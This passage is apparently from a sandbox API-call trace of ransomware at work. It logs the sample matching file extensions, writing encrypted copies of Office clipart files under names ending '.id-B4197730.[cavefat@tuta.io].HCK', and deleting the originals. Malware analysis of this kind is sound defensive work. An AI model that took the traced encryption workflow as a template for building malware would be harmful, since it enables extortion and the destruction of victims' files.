lpString2="WMF") returned -1 [0170.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0170.107] lstrlenW (lpString=".dbf") returned 4 [0170.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0170.107] lstrlenW (lpString=".1cd") returned 4 [0170.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0170.107] lstrlenW (lpString=".jpg") returned 4 [0170.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.107] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.107] lstrlenW (lpString="J0187881.WMF") returned 12 [0170.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.109] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4696) returned 1 [0170.109] CloseHandle (hObject=0x360) returned 1 [0170.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf")) returned 0x220 [0170.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0170.119] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.119] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0170.124] GetLastError () returned 0x0 [0170.124] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1258, lpOverlapped=0x0) returned 1 [0170.126] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1260, lpOverlapped=0x0) returned 1 [0170.127] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.127] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.127] SetEndOfFile (hFile=0x368) returned 1 [0170.129] CloseHandle (hObject=0x368) returned 1 [0170.131] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.131] SetEndOfFile (hFile=0x364) returned 1 [0170.137] CloseHandle (hObject=0x364) returned 1 [0170.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf")) returned 1 [0170.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0170.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0170.145] lstrlenW (lpString=".doc") returned 4 [0170.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.145] lstrlenW (lpString=".docx") returned 5 [0170.145] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.145] lstrlenW (lpString=".pdf") returned 4 [0170.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.145] lstrlenW (lpString=".xls") returned 4 [0170.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.145] lstrlenW (lpString=".xlsx") returned 5 [0170.145] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.145] lstrlenW (lpString=".ppt") returned 4 [0170.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0170.145] lstrlenW (lpString=".zip") returned 4 [0170.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.145] lstrlenW (lpString=".rar") returned 4 [0170.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.145] lstrlenW (lpString=".bz2") returned 4 [0170.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.145] lstrlenW (lpString=".7z") returned 3 [0170.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0170.145] lstrlenW (lpString=".dbf") returned 4 [0170.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0170.145] lstrlenW (lpString=".1cd") returned 4 [0170.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0170.145] lstrlenW (lpString=".jpg") returned 4 [0170.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0170.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0170.146] lstrlenW (lpString=".doc") returned 4 [0170.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.146] lstrlenW (lpString=".docx") returned 5 [0170.146] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.146] lstrlenW (lpString=".pdf") returned 4 [0170.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.146] lstrlenW (lpString=".xls") returned 4 [0170.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.146] lstrlenW (lpString=".xlsx") returned 5 [0170.146] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.146] lstrlenW (lpString=".ppt") returned 4 [0170.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0170.146] lstrlenW (lpString=".zip") returned 4 [0170.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.146] lstrlenW (lpString=".rar") returned 4 [0170.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.146] lstrlenW (lpString=".bz2") returned 4 [0170.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.146] lstrlenW (lpString=".7z") returned 3 [0170.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0170.146] lstrlenW (lpString=".dbf") returned 4 [0170.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0170.146] lstrlenW (lpString=".1cd") returned 4 [0170.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF") returned 68 [0170.146] lstrlenW (lpString=".jpg") returned 4 [0170.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.146] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.146] lstrlenW (lpString="J0187921.WMF") returned 12 [0170.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.149] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5000) returned 1 [0170.149] CloseHandle (hObject=0x360) returned 1 [0170.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf")) returned 0x220 [0170.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0170.154] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.155] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0170.165] GetLastError () returned 0x0 [0170.165] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1388, lpOverlapped=0x0) returned 1 [0170.168] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1390, lpOverlapped=0x0) returned 1 [0170.169] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.169] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.169] SetEndOfFile (hFile=0x354) returned 1 [0170.176] CloseHandle (hObject=0x354) returned 1 [0170.178] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.178] SetEndOfFile (hFile=0x364) returned 1 [0170.186] CloseHandle (hObject=0x364) returned 1 [0170.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf")) returned 1 [0170.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0170.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0170.191] lstrlenW (lpString=".doc") returned 4 [0170.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.191] lstrlenW (lpString=".docx") returned 5 [0170.191] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.191] lstrlenW (lpString=".pdf") returned 4 [0170.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.191] lstrlenW (lpString=".xls") returned 4 [0170.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.191] lstrlenW (lpString=".xlsx") returned 5 [0170.191] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.191] lstrlenW (lpString=".ppt") returned 4 [0170.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0170.191] lstrlenW (lpString=".zip") returned 4 [0170.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.191] lstrlenW (lpString=".rar") returned 4 [0170.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.191] lstrlenW (lpString=".bz2") returned 4 [0170.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.191] lstrlenW (lpString=".7z") returned 3 [0170.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0170.191] lstrlenW (lpString=".dbf") returned 4 [0170.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0170.191] lstrlenW (lpString=".1cd") returned 4 [0170.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0170.192] lstrlenW (lpString=".jpg") returned 4 [0170.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0170.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0170.192] lstrlenW (lpString=".doc") returned 4 [0170.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.192] lstrlenW (lpString=".docx") returned 5 [0170.192] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.192] lstrlenW (lpString=".pdf") returned 4 [0170.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.192] lstrlenW (lpString=".xls") returned 4 [0170.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.192] lstrlenW (lpString=".xlsx") returned 5 [0170.192] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.192] lstrlenW (lpString=".ppt") returned 4 [0170.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0170.192] lstrlenW (lpString=".zip") returned 4 [0170.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.192] lstrlenW (lpString=".rar") returned 4 [0170.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.192] lstrlenW (lpString=".bz2") returned 4 [0170.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.192] lstrlenW (lpString=".7z") returned 3 [0170.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0170.192] lstrlenW (lpString=".dbf") returned 4 [0170.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0170.192] lstrlenW (lpString=".1cd") returned 4 [0170.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0170.192] lstrlenW (lpString=".jpg") returned 4 [0170.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.192] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.192] lstrlenW (lpString="J0188587.WMF") returned 12 [0170.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.196] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=15196) returned 1 [0170.196] CloseHandle (hObject=0x370) returned 1 [0170.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf")) returned 0x220 [0170.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.204] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.204] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.214] GetLastError () returned 0x0 [0170.214] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3b5c, lpOverlapped=0x0) returned 1 [0170.217] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3b60, lpOverlapped=0x0) returned 1 [0170.218] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.218] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.218] SetEndOfFile (hFile=0x2ec) returned 1 [0170.220] CloseHandle (hObject=0x2ec) returned 1 [0170.223] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.223] SetEndOfFile (hFile=0x360) returned 1 [0170.227] CloseHandle (hObject=0x360) returned 1 [0170.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf")) returned 1 [0170.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0170.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0170.231] lstrlenW (lpString=".doc") returned 4 [0170.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.231] lstrlenW (lpString=".docx") returned 5 [0170.232] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.232] lstrlenW (lpString=".pdf") returned 4 [0170.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.232] lstrlenW (lpString=".xls") returned 4 [0170.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.232] lstrlenW (lpString=".xlsx") returned 5 [0170.232] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.232] lstrlenW (lpString=".ppt") returned 4 [0170.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0170.232] lstrlenW (lpString=".zip") returned 4 [0170.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.232] lstrlenW (lpString=".rar") returned 4 [0170.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.232] lstrlenW (lpString=".bz2") returned 4 [0170.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.232] lstrlenW (lpString=".7z") returned 3 [0170.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0170.232] lstrlenW (lpString=".dbf") returned 4 [0170.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0170.232] lstrlenW (lpString=".1cd") returned 4 [0170.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0170.232] lstrlenW (lpString=".jpg") returned 4 [0170.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0170.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0170.232] lstrlenW (lpString=".doc") returned 4 [0170.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.232] lstrlenW (lpString=".docx") returned 5 [0170.232] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.232] lstrlenW (lpString=".pdf") returned 4 [0170.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.232] lstrlenW (lpString=".xls") returned 4 [0170.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.232] lstrlenW (lpString=".xlsx") returned 5 [0170.232] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.232] lstrlenW (lpString=".ppt") returned 4 [0170.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0170.232] lstrlenW (lpString=".zip") returned 4 [0170.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.232] lstrlenW (lpString=".rar") returned 4 [0170.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.232] lstrlenW (lpString=".bz2") returned 4 [0170.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.233] lstrlenW (lpString=".7z") returned 3 [0170.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0170.233] lstrlenW (lpString=".dbf") returned 4 [0170.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0170.233] lstrlenW (lpString=".1cd") returned 4 [0170.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 